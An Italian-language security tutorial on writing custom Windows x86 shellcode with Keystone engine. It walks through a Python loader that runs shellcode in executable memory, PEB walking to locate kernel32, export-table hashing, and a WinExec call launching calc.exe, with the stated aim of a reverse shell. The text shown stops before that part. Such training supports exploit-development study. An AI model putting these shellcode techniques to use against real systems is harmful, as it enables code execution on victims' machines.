Creazione di uno shellcode custom in ASM con Keystone-Engine

Tempo di lettura: 31 minuti
Data pubblicazione: July 3, 2023

Introduzione

In questo articolo vedremo come creare uno shellcode custom in ASM in Windows x86 tramite l’utilizzo di keystone-engine. Partendo dalle basi creeremo il template, per poi via via aumentare le istruzioni che andremo ad eseguire fino ad avere una reverse shell completa.

Consiglio di leggere prima gli scorsi articoli sul Buffer Overflow, certe cose le darò per scontato (specialmente su WinDBG e l’assembly). Per chi non conoscesse l’assembly consiglio Assembly Crash Course e OpenSecurity Training.

N.B.: la maggior parte del codice assembly scritto in questo articolo è preso da shellcoder.py.

Keystone Engine

Keystone è un framework per assembler multipiattaforma, che permette di eseguire codice Assembly direttamente da python. Esso ci permetterà di scrivere qualsiasi istruzione vogliamo ed eseguirla senza dover compilare codice assembly da C.

Il template da cui partiremo è il seguente:

import ctypes, struct
from keystone import *

# Run with python2.7 32bit, pip install keystone-engine
CODE = (
" start: "
" int3 ; "
" ...    "
)

# ks = Ks(KS_ARCH_X64, KS_MODE_64)
ks = Ks(KS_ARCH_X86, KS_MODE_32)

encoding, count = ks.asm(CODE)
print("%d instructions..." % count)
sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                        ctypes.c_int(len(shellcode)),
                                        ctypes.c_int(0x3000),
                                        ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                    buf,
                                    ctypes.c_int(len(shellcode)))
print("Shellcode @ %s" % hex(ptr))
a = input("Execute?")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                        ctypes.c_int(0),
                                        ctypes.c_int(ptr),
                                        ctypes.c_int(0),
                                        ctypes.c_int(0),
                                        ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

Essenzialmente all’interno di CODE inseriremo l’assembly che vogliamo e KeyStone si occuperà di eseguirlo. La funzione input presente alla terz’ultima riga è necessaria per poter eseguire il python, attaccarci con WinDBG e decompilare vedendo istruzione per istruzione la sequenza assembly scritta.

Per esempio, se dentro CODE mettiamo:

CODE = (
" start: "
" int3 ; "
" xor eax,eax ;    "
" xor ebx,ebx ;    "
" xor ecx,ecx ;    "
)

Ed eseguiamo il codice python:

python template.py
6 instructions...
Shellcode @ 0x25f0000
Execute?

Possiamo aprire WinDBG, fare l’attach del processo python e premere g per continuare l’esecuzione. Una volta che il processo è in esecuzione, premiamo invio sul terminale con il python e WinDBG si fermerà al breakpoint int3 inserito all’inizio del nostro assembly.

Ed ecco che facendo step vediamo le nostre istruzioni eseguite

0:004> g
(2960.2760): Break instruction exception - code 80000003 (first chance)
eax=027efca8 ebx=00000000 ecx=025f0000 edx=025f0000 esi=025f0000 edi=025f0000
eip=025f0000 esp=027efc50 ebp=027efc5c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
025f0000 cc              int     3
0:004> p
eax=027efca8 ebx=00000000 ecx=025f0000 edx=025f0000 esi=025f0000 edi=025f0000
eip=025f0001 esp=027efc50 ebp=027efc5c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
025f0001 31c0            xor     eax,eax
0:004> p
eax=00000000 ebx=00000000 ecx=025f0000 edx=025f0000 esi=025f0000 edi=025f0000
eip=025f0003 esp=027efc50 ebp=027efc5c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
025f0003 31db            xor     ebx,ebx
0:004> p
eax=00000000 ebx=00000000 ecx=025f0000 edx=025f0000 esi=025f0000 edi=025f0000
eip=025f0005 esp=027efc50 ebp=027efc5c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
025f0005 31c9            xor     ecx,ecx

Risolvere indirizzi Windows DLL

Per poter chiamare le funzioni di Windows dobbiamo però essere in grado di trovare a che indirizzo è la DLL (per esempio Kernel32.dll), chiamarla, trovare la funzione che vogliamo chiamare (per esempio WinExec) ed infine eseguirla con i parametri necessari.

Questi passaggi però non possiamo farli con indirizzi hardcodati perchè non sarebbe possibile eseguire lo shellcode su altri computer diversi dal nostro, e se lo riavviassimo, con ASLR perderemmo anche gli indirizzi trovati precedentemente.

Lo shellcode dev’essere quindi in grado di trovare in maniera dinamica l’indirizzo della funzione necessaria. Per farlo ci sono diverse tecniche, noi utilizzeremo la struttura Process Environmental Block (PEB). In questa sezione cercherò di introdurre in modo più semplice possibile per far capire il codice che scriveremo, lasciando tutte le fonti possibili in modo da poter capire più a fondo.

Ci sono due articoli fantastici che vanno molto più a fondo di me e che consiglio vivamente, Digging into Windows PEB e Leveraging from PE parsing technique to write x86 shellcode. Se scrivessi castronerie perdonatemi, sono solo agli inizi :).

La struttura PEB contiene tutte le informazioni di un processo e il suo indirizzo è salvato all’offset statico di fs+0x30 (il registro fs viene utilizzato da Windows per salvare l’indirizzo della struttura TEB). Aprendo per esempio calc.exe con WinDBG, per trovare la PEB ci basterà il seguente comando:

0:023> dt nt!_TEB @$teb
    ntdll!_TEB
    +0x000 NtTib            : _NT_TIB
    +0x01c EnvironmentPointer : (null) 
    +0x020 ClientId         : _CLIENT_ID
    +0x028 ActiveRpcHandle  : (null) 
    +0x02c ThreadLocalStoragePointer : (null) 
    +0x030 ProcessEnvironmentBlock : 0x002a0000 _PEB

Una volta trovato l’indirizzo di PEB, ci servirà estrarre l’indirizzo della struttura LDR, la quale contiene informazioni in merito ai moduli caricati dal processo. Essa è posizionata all’offset 0xc di PEB:

0:023> dt _peb 0x2a0000
    ntdll!_PEB
    +0x000 InheritedAddressSpace : 0 ''
    +0x001 ReadImageFileExecOptions : 0 ''
    ....
    +0x003 IsLongPathAwareProcess : 0y0
    +0x004 Mutant           : 0xffffffff Void
    +0x008 ImageBaseAddress : 0x00da0000 Void
    +0x00c Ldr              : 0x77221c60 _PEB_LDR_DATA
    +0x010 ProcessParameters : 0x00602200 _RTL_USER_PROCESS_PARAMETERS

Ora che abbiamo _PEB_LDR_DATA, dobbiamo estrarre la lista dei moduli, contenuta all’interno delle double-linked list. Ogni oggetto al loro interno è un puntatore alla struttura LDR_DATA_TABLE_ENTRY, che ci servirà per esportare gli indizizzi dei moduli richiesti. Vediamo _PEB_LDR_DATA con il comando:

0:023> dt _PEB_LDR_DATA 0x77221c60 
    ntdll!_PEB_LDR_DATA
    +0x000 Length           : 0x30
    +0x004 Initialized      : 0x1 ''
    +0x008 SsHandle         : (null) 
    +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x602fa0 - 0x9912338 ]
    +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x602fa8 - 0x9912340 ]
    +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x602ec8 - 0x9912348 ]
    +0x024 EntryInProgress  : (null) 
    +0x028 ShutdownInProgress : 0 ''
    +0x02c ShutdownThreadId : (null)

Quindi se volessimo prendere il primo elemento della lista, basterà vedere la struttura _LDR_DATA_TABLE_ENTRY al determinato offset.

0:023> dt nt!_ldr_data_table_entry 0x602ec8-8
    ntdll!_LDR_DATA_TABLE_ENTRY
    +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x603348 - 0x602fa8 ]
    +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x6036c0 - 0x77221c7c ]
    +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x77100000 - 0x0 ]
    +0x018 DllBase          : 0x0019f000 Void
    +0x01c EntryPoint       : 0x003c003a Void
    +0x020 SizeOfImage      : 0x602e08
    +0x024 FullDllName      : _UNICODE_STRING "ntdll.dll"

Se volessimo prendere il secondo:

0:023> dt nt!_ldr_data_table_entry 0x6036c0-8
    ntdll!_LDR_DATA_TABLE_ENTRY
    +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x606778 - 0x603348 ]
    +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x603350 - 0x602ec8 ]
    +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x75260000 - 0x753557f0 ]
    +0x018 DllBase          : 0x00217000 Void
    +0x01c EntryPoint       : 0x00460044 Void
    +0x020 SizeOfImage      : 0x603798
    +0x024 FullDllName      : _UNICODE_STRING "KERNELBASE.dll"

E avanti cosi. Ora traduciamo queste operazioni in Assembly con keystone, facendo un loop su tutti i moduli presenti in quella lista e salvando il nome del modulo nel registro EDI. Alla fine con l’istruzione [edi+12*2], cx compariamo cx (che vale 0) con la posizione 25 della stringa. Se è NULL, significa che il nome della DLL trovata è lunga 24 (12 caratteri unicode), ossia kernel32.dll:

CODE = (
" start: "
" int3 ; "
" mov ebp, esp    ;" 
" sub esp, 200h   ;" # size of the shellcode

" find_kernel32:                     "  # 
"   xor   ecx, ecx                  ;"  #   ECX = 0 
"   mov   esi,fs:[ecx+0x30]         ;"  #   ESI = &(PEB) ([FS:0x30]) 
"   mov   esi,[esi+0x0C]            ;"  #   ESI = PEB->Ldr 
"   mov   esi,[esi+0x1C]            ;"  #   ESI = PEB->Ldr.InInitOrder 

" next_module:                       "  # 
"   mov   ebx, [esi+0x08]           ;"  #   EBX = InInitOrder[X].base_address 
"   mov   edi, [esi+0x20]           ;"  #   EDI = InInitOrder[X].module_name 
"   mov   esi, [esi]                ;"  #   ESI = InInitOrder[X].flink (next) 
"   cmp   [edi+12*2], cx            ;"  #   (unicode) modulename[12] == 0x00? 
"   jne   next_module               ;"  #   No: try next module
)

Vediamo con WinDBG:

0:004> g
(b1c.284c): Break instruction exception - code 80000003 (first chance)
eax=0302ff6c ebx=00000000 ecx=02e30000 edx=02e30000 esi=02e30000 edi=02e30000
eip=02e30000 esp=0302ff14 ebp=0302ff20 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02e30000 cc              int     3
0:004> p
eax=0302ff6c ebx=00000000 ecx=02e30000 edx=02e30000 esi=02e30000 edi=02e30000
eip=02e30001 esp=0302ff14 ebp=0302ff20 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02e30001 89e5            mov     ebp,esp
0:004> p
eax=0302ff6c ebx=00000000 ecx=02e30000 edx=02e30000 esi=02e30000 edi=02e30000
eip=02e30003 esp=0302ff14 ebp=0302ff14 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02e30003 81ec00020000    sub     esp,200h
0:004> p
eax=0302ff6c ebx=00000000 ecx=02e30000 edx=02e30000 esi=02e30000 edi=02e30000
eip=02e30009 esp=0302fd14 ebp=0302ff14 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
02e30009 31c9            xor     ecx,ecx
0:004> p
eax=0302ff6c ebx=00000000 ecx=00000000 edx=02e30000 esi=02e30000 edi=02e30000
eip=02e3000b esp=0302fd14 ebp=0302ff14 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02e3000b 648b7130        mov     esi,dword ptr fs:[ecx+30h] fs:003b:00000030=00c94000
0:004> p
eax=0302ff6c ebx=00000000 ecx=00000000 edx=02e30000 esi=00c94000 edi=02e30000
eip=02e3000f esp=0302fd14 ebp=0302ff14 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02e3000f 8b760c          mov     esi,dword ptr [esi+0Ch] ds:0023:00c9400c={ntdll!PebLdr (77221c60)}
0:004> p
eax=0302ff6c ebx=00000000 ecx=00000000 edx=02e30000 esi=77221c60 edi=02e30000
eip=02e30012 esp=0302fd14 ebp=0302ff14 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02e30012 8b761c          mov     esi,dword ptr [esi+1Ch] ds:0023:77221c7c=01052028
0:004> p
eax=0302ff6c ebx=00000000 ecx=00000000 edx=02e30000 esi=01052028 edi=02e30000
eip=02e30015 esp=0302fd14 ebp=0302ff14 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02e30015 8b5e08          mov     ebx,dword ptr [esi+8] ds:0023:01052030={ntdll!RtlpSlashSlashDot <PERF> (ntdll+0x0) (77100000)}
0:004> p
eax=0302ff6c ebx=77100000 ecx=00000000 edx=02e30000 esi=01052028 edi=02e30000
eip=02e30018 esp=0302fd14 ebp=0302ff14 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02e30018 8b7e20          mov     edi,dword ptr [esi+20h] ds:0023:01052048={ntdll!`string' (771092ec)}
0:004> p
eax=0302ff6c ebx=77100000 ecx=00000000 edx=02e30000 esi=01052028 edi=771092ec
eip=02e3001b esp=0302fd14 ebp=0302ff14 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02e3001b 8b36            mov     esi,dword ptr [esi]  ds:0023:01052028=01052820
0:004> p
eax=0302ff6c ebx=77100000 ecx=00000000 edx=02e30000 esi=01052820 edi=771092ec
eip=02e3001d esp=0302fd14 ebp=0302ff14 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02e3001d 66394f18        cmp     word ptr [edi+18h],cx    ds:0023:77109304=7273
0:004> r
eax=0302ff6c ebx=77100000 ecx=00000000 edx=02e30000 esi=01052820 edi=771092ec
eip=02e3001d esp=0302fd14 ebp=0302ff14 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02e3001d 66394f18        cmp     word ptr [edi+18h],cx    ds:0023:77109304=7273
0:004> db edi
771092ec  6e 00 74 00 64 00 6c 00-6c 00 2e 00 64 00 6c 00  n.t.d.l.l...d.l.
771092fc  6c 00 00 00 54 65 72 6d-73 72 76 47 65 74 57 69  l
......
0:004> 
eax=026bfa44 ebx=75e50000 ecx=00000000 edx=024c0000 esi=00878108 edi=008725b0
eip=024c001d esp=026bf7ec ebp=026bf9ec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
024c001d 66394f18        cmp     word ptr [edi+18h],cx    ds:0023:008725c8=0000
0:004> 
eax=026bfa44 ebx=75e50000 ecx=00000000 edx=024c0000 esi=00878108 edi=008725b0
eip=024c0021 esp=026bf7ec ebp=026bf9ec iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
024c0021 75f2            jne     024c0015                                [br=0]
0:004> db edi
008725b0  4b 00 45 00 52 00 4e 00-45 00 4c 00 33 00 32 00  K.E.R.N.E.L.3.2.
008725c0  2e 00 44 00 4c 00 4c 00-00 00 00 00 00 00 00 00  ..D.L.L.

E in EBX abbiamo salvato il suo base address

0:004> r ebx
ebx=75e50000
0:004> lmDmKERNEL32
Browse full module list
start    end        module name
75e50000 75eea000   KERNEL32   (pdb symbols)          c:\symbols\kernel32.pdb\DCD9A5D0408BE6FE0CCF5A41F25AE8261\kernel32.pdb

Identificare indirizzi delle funzioni esportate

Ora che abbiamo il base address della DLL che ci interessa, dobbiamo trovare le funzioni che esporta e il loro indirizzo. Per farlo useremo la Export Table Directory.

Per ottenerla, sappiamo che il puntatore e_lfanew si trova all’offset 0x3c del base address di Kernel32

0:022> dt -n _IMAGE_DOS_HEADER
    ntdll!_IMAGE_DOS_HEADER
    +0x000 e_magic          : Uint2B
    +0x002 e_cblp           : Uint2B
    ......
    +0x024 e_oemid          : Uint2B
    +0x026 e_oeminfo        : Uint2B
    +0x028 e_res2           : [10] Uint2B
    +0x03c e_lfanew         : Int4B

Troviamo quanto vale con WinDBG:

0:022> dd kernel32+0x3c L1
75e5003c  000000f8

Ora, se sommiamo 0xf8 con il base address, troviamo il PE Header, il quale all’offset 0x78 contiene il Relative Virtual Address (RVA) dell’export directory:

0:004> dd kernel32+0xf8+0x78 L1
75e50170  00078740

Sommando questo valore al base address, troviamo il Virtual Address dell’export directory:

0:004> dd kernel32+78740
75ec8740  00000000 42e92200 00000000 0007c624
75ec8750  00000001 00000646 00000646 00078768
75ec8760  0007a080 0007b998 0001cf20 0007c65e

Ora abbiamo finalmente l’export directory, che ha questa struttura:

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     
    DWORD   AddressOfNames;        
    DWORD   AddressOfNameOrdinals;  
};

All’offset 0x18 sappiamo che troveremo NumberOfNames, mentre all’offset 0x20 AddressOfNames. Se guardiamo all’offset 0x20, trovaremo il RVA di AddressOfNames, che sommato a kernel32 ci darà il VA di tutti i nomi delle funzioni esportare:

0:004> dds kernel32+78740+0x20 L1
75ec8760  0007a080

0:004> dds kernel32+78740+0x20 L1
75ec8760  0007a080

0:004> dd kernel32+0007a080 L4
75eca080  0007c680 0007c6b9 0007c6ec 0007c6fb

0:004> da kernel32+0007c680
75ecc680  "AcquireSRWLockExclusive"

0:004> da kernel32+0007c6b9 
75ecc6b9  "AcquireSRWLockShared"

0:004> da kernel32+0007c6ec 
75ecc6ec  "ActivateActCtx"

Se volessimo tradurre tutti questi passaggi in Assembly, il codice aggiornato diventerà:

CODE = (
" start: "
" int3 ; "
" mov ebp, esp    ;" 
" sub esp, 200h   ;" # size of the shellcode

" find_kernel32:                     "  # 
"   xor   ecx, ecx                  ;"  #   ECX = 0 
"   mov   esi,fs:[ecx+0x30]         ;"  #   ESI = &(PEB) ([FS:0x30]) 
"   mov   esi,[esi+0x0C]            ;"  #   ESI = PEB->Ldr 
"   mov   esi,[esi+0x1C]            ;"  #   ESI = PEB->Ldr.InInitOrder 

" next_module:                       "  # 
"   mov   ebx, [esi+0x08]           ;"  #   EBX = InInitOrder[X].base_address 
"   mov   edi, [esi+0x20]           ;"  #   EDI = InInitOrder[X].module_name 
"   mov   esi, [esi]                ;"  #   ESI = InInitOrder[X].flink (next) 
"   cmp   [edi+12*2], cx            ;"  #   (unicode) modulename[12] == 0x00? 
"   jne   next_module               ;"  #   No: try next module

" find_function:                     "  # 
"   pushad                          ;"  #   Save all registers 
                                        #   Base address of kernel32 is in EBX from  
                                        #   Previous step (find_kernel32) 
"   mov   eax, [ebx+0x3c]           ;"  #   Offset to PE Signature 
"   mov   edi, [ebx+eax+0x78]       ;"  #   Export Table Directory RVA 
"   add   edi, ebx                  ;"  #   Export Table Directory VMA 
"   mov   ecx, [edi+0x18]           ;"  #   NumberOfNames 
"   mov   eax, [edi+0x20]           ;"  #   AddressOfNames RVA 
"   add   eax, ebx                  ;"  #   AddressOfNames VMA 
"   mov   [ebp-4], eax              ;"  #   Save AddressOfNames VMA for later 
)

Quello che dobbiamo fare ora è esportare l’indirizzo delle funzioni che ci servono (per esempio WinExec). Per farlo non utilizzeremo una comparazione dei caratteri ASCII, ma una tecnica di hashing che convertirà i nomi delle funzioni in hash univoci in modo da confrontarli più velocemente e con meno codice.

Il codice in python per calcolare l’hash è il seguente:

#!/usr/bin/python
import numpy, sys

def ror_str(byte, count):
    binb = numpy.base_repr(byte, 2).zfill(32)
    while count > 0:
        binb = binb[-1] + binb[0:-1]
        count -= 1
    return (int(binb, 2))

if __name__ == '__main__':
    try:
        esi = sys.argv[1]
    except IndexError:
        print("Usage: %s INPUTSTRING" % sys.argv[0])
        sys.exit()

    # Initialize variables
    edx = 0x00
    ror_count = 0

    for eax in esi:
        edx = edx + ord(eax)
        if ror_count < len(esi)-1:
            edx = ror_str(edx, 0xd)
        ror_count += 1

    print(hex(edx))

Che una volta eseguito ci fornirà l’hash da inserire nell’assembly:

python compute_hash.py WinExec
0xe8afe98

Ciò che dobbiamo fare ora è convertire il codice python in codice assembly, in modo che per ogni funzione esportata dalla Export Directory venga calcolato l’hash e confrontato con l’hash della funzione che vogliamo trovare. Il codice assembly aggiornato diventerà:

CODE = (
    " start: "
    " int3 ; " # breakpoint
    " mov ebp, esp    ;" 
    " sub esp, 200h   ;" # size of the shellcode

    " find_kernel32:                     "  # 
    "   xor   ecx, ecx                  ;"  #   ECX = 0 
    "   mov   esi,fs:[ecx+0x30]         ;"  #   ESI = &(PEB) ([FS:0x30]) 
    "   mov   esi,[esi+0x0C]            ;"  #   ESI = PEB->Ldr 
    "   mov   esi,[esi+0x1C]            ;"  #   ESI = PEB->Ldr.InInitOrder 

    " next_module:                       "  # 
    "   mov   ebx, [esi+0x08]           ;"  #   EBX = InInitOrder[X].base_address 
    "   mov   edi, [esi+0x20]           ;"  #   EDI = InInitOrder[X].module_name 
    "   mov   esi, [esi]                ;"  #   ESI = InInitOrder[X].flink (next) 
    "   cmp   [edi+12*2], cx            ;"  #   (unicode) modulename[12] == 0x00? 
    "   jne   next_module               ;"  #   No: try next module

    " find_function_shorten:             "  # 
    "   jmp find_function_shorten_bnc   ;"  #   Short jump 

    " find_function_ret:                 "  # 
    "   pop esi                         ;"  #   POP the return address from the stack 
    "   mov   [ebp+0x04], esi           ;"  #   Save find_function address for later usage 
    "   jmp resolve_symbols_kernel32    ;"  # 

    " find_function_shorten_bnc:         "  #    
    "   call find_function_ret          ;"  #   Relative CALL with negative offset 

    " find_function:                     "  # 
    "   pushad                          ;"  #   Save all registers 
                                            #   Base address of kernel32 is in EBX from  
                                            #   Previous step (find_kernel32) 
    "   mov   eax, [ebx+0x3c]           ;"  #   Offset to PE Signature 
    "   mov   edi, [ebx+eax+0x78]       ;"  #   Export Table Directory RVA 
    "   add   edi, ebx                  ;"  #   Export Table Directory VMA 
    "   mov   ecx, [edi+0x18]           ;"  #   NumberOfNames 
    "   mov   eax, [edi+0x20]           ;"  #   AddressOfNames RVA 
    "   add   eax, ebx                  ;"  #   AddressOfNames VMA 
    "   mov   [ebp-4], eax              ;"  #   Save AddressOfNames VMA for later 

    " find_function_loop:                "  # 
    "   jecxz find_function_finished    ;"  #   Jump to the end if ECX is 0 
    "   dec   ecx                       ;"  #   Decrement our names counter 
    "   mov   eax, [ebp-4]              ;"  #   Restore AddressOfNames VMA 
    "   mov   esi, [eax+ecx*4]          ;"  #   Get the RVA of the symbol name 
    "   add   esi, ebx                  ;"  #   Set ESI to the VMA of the current symbol name 
    
    " compute_hash:                      "  # 
    "   xor   eax, eax                  ;"  #   NULL EAX 
    "   cdq                             ;"  #   NULL EDX 
    "   cld                             ;"  #   Clear direction     
    
    " compute_hash_again:                "  # 
    "   lodsb                           ;"  #   Load the next byte from esi into al 
    "   test  al, al                    ;"  #   Check for NULL terminator 
    "   jz    compute_hash_finished     ;"  #   If the ZF is set,we've hit the NULL  term 
    "   ror   edx, 0x0d                 ;"  #   Rotate edx 13 bits to the right 
    "   add   edx, eax                  ;"  #   Add the new byte to the accumulator 
    "   jmp   compute_hash_again        ;"  #   Next iteration 
    
    " compute_hash_finished:             "  #

    " find_function_compare:             "  # 
    "   cmp   edx, [esp+0x24]           ;"  #   Compare the computed hash with the requested hash 
    "   jnz   find_function_loop        ;"  #   If it doesn't match go back to find_function_loop 
    "   mov   edx, [edi+0x24]           ;"  #   AddressOfNameOrdinals RVA 
    "   add   edx, ebx                  ;"  #   AddressOfNameOrdinals VMA 
    "   mov   cx,  [edx+2*ecx]          ;"  #   Extrapolate the function's ordinal 
    "   mov   edx, [edi+0x1c]           ;"  #   AddressOfFunctions RVA 
    "   add   edx, ebx                  ;"  #   AddressOfFunctions VMA 
    "   mov   eax, [edx+4*ecx]          ;"  #   Get the function RVA 
    "   add   eax, ebx                  ;"  #   Get the function VMA 
    "   mov   [esp+0x1c], eax           ;"  #   Overwrite stack version of eax from pushad
    
    " find_function_finished:            "  # 
    "   popad                           ;"  #   Restore registers 
    "   ret                             ;"  # 

    " resolve_symbols_kernel32:          " 
    "   push  0xe8afe98                ;"  #   WinExec hash 
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function 
    "   mov   [ebp+0x10], eax           ;"  #   Save WinExec address for later  usage
)

Mettendo il breakpoint sull’istruzione push 0xec0e4e8e possiamo vedere come ora in EAX abbiamo l’indirizzo delle funzione che volevamo, che andiamo a salvare in [ebp+0x10], visto che dovremo chiamarlo nelle prossime funzioni:

0:004> g
Breakpoint 0 hit
eax=02e1ff80 ebx=75e50000 ecx=00000000 edx=02c20000 esi=02c20030 edi=00f52680
eip=02c2007f esp=02e1fd28 ebp=02e1ff28 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02c2007f 6898fe8a0e      push    0E8AFE98h
0:004> p
eax=02e1ff80 ebx=75e50000 ecx=00000000 edx=02c20000 esi=02c20030 edi=00f52680
eip=02c20084 esp=02e1fd24 ebp=02e1ff28 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02c20084 ff5504          call    dword ptr [ebp+4]    ss:0023:02e1ff2c=02c20030
0:004> p
eax=75eb43e0 ebx=75e50000 ecx=00000000 edx=02c20000 esi=02c20030 edi=00f52680
eip=02c20087 esp=02e1fd24 ebp=02e1ff28 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
02c20087 894514          mov     dword ptr [ebp+14h],eax ss:0023:02e1ff3c=00000000
0:004> u eax L5
KERNEL32!WinExec:
75eb43e0 8bff            mov     edi,edi
75eb43e2 55              push    ebp
75eb43e3 8bec            mov     ebp,esp
75eb43e5 83e4f8          and     esp,0FFFFFFF8h
75eb43e8 81ec8c000000    sub     esp,8Ch

Esecuzione di WinExec

Ora che abbiamo l’indirizzo della funzione che vogliamo chiamare, non ci rimane che passargli i vari argomenti di cui necessita ed eseguirla.

WinExec esegue l’applicazione passata come argomento:

INT WinExec(
    [in] LPCSTR lpCmdLine,
    [in] UINT   uCmdShow
);

Dove:

  1. lpCmdLine è il path dell’eseguibile che vogliamo lanciare
  2. uCmdShow è un codice che permette la scelta di mostrare, nascondere o minimizzare l’applicazione eseguita.

Quindi dovremo posizionare sullo stack (in ordine inverso) prima 0x1 come uCmdShow e C:\Windows\system32\calc.exe come lpCmdLine per eseguire calc.exe. Per farlo basta:

  1. Per il parametro lpCmdLine convertire il path di calc.exe in esadecimale, pusharlo sullo stack, pushare ESP e poppare un’altro registro per salvare l’indirizzo su cui abbiamo pushato la string.
  2. Per il parametro uCmdShow copiare 0x1 dentro eax e pushare eax

Per convertire in esadecimale (che non ricordo se l’ho scritto o l’ho preso da qualche parte, nel caso mi perdoni il creatore se non metto il link) uso questo script:

#!/usr/bin/python 
import numpy, sys
import binascii

if __name__ == '__main__': 
    try: 
        string = sys.argv[1] 
    except IndexError: 
        print("Usage: %s INPUTSTRING" % sys.argv[0]) 
        sys.exit() 

    byte_list = []
    for i in range(0, len(string), 4):
        byte_list.append(string[i:i+4][::-1])

    byte_list.reverse()

    for b in byte_list:
        x = binascii.hexlify(bytes(b,encoding='utf8'))
        print("push " + "0x"+x.decode("utf-8") + "\t; " + b)

Che una volta eseguito stampa le istruzioni di cui abbiamo bisogno:

python calculate_bytes.py "C:\\Windows\\system32\\calc.exe"
    push 0x657865   ; exe
    push 0x2e636c61 ; .cla
    push 0x635c5c32 ; c\\2
    push 0x336d6574 ; 3met
    push 0x7379735c ; sys\
    push 0x5c73776f ; \swo
    push 0x646e6957 ; dniW
    push 0x5c5c3a43 ; \\:C

Convertendo tutto ciò in assembly, il codice aggiornato sarà:

......
" resolve_symbols_kernel32:          " 
"   push  0xe8afe98                ;"  #   WinExec hash 
"   call dword ptr [ebp+0x04]       ;"  #   Call find_function 
"   mov   [ebp+0x10], eax           ;"  #   Save WinExec address for later  usage

" call_winexec:                     "
" int3 ; "
"   xor eax,eax                     ;" 
"   push eax                        ;" # null byte terminator
"   mov eax,0x657865                ;" #exe
"   push eax                        ;" # null byte terminator
"   push 0x2e636c61                 ;" #.cla
"   push 0x635c5c32                 ;" #c\\2
"   push 0x336d6574                 ;" #3met
"   push 0x7379735c                 ;" #sys\
"   push 0x5c73776f                 ;" #\swo
"   push 0x646e6957                 ;" #dniW
"   push 0x5c5c3a43                 ;" #\\:C"
"   push esp                        ;"
"   pop esi                         ;"
"   xor eax,eax                     ;" 
"   mov   al, 0x01                  ;"  #   Move AL, SW_SHOWNORMAL 
"   push  eax                       ;"  #   Push uCmdShow
"   push esi                        ;"
"   call dword ptr [ebp+0x10]       ;"   # Call WinExec 

Vediamo però che WinDBG va in errore una volta eseguito calc.exe. Questo perchè gli manca la chiamata TerminateProcess. Andiamo ad aggiungerla nella funzione resolve_symbols_kernel32:

......
    " resolve_symbols_kernel32:          " 
    "   push  0xe8afe98                ;"  #   WinExec hash 
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function 
    "   mov   [ebp+0x10], eax           ;"  #   Save WinExec address for later  usage

    "   push  0x78b5b983                ;"  #   TerminateProcess hash 
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function 
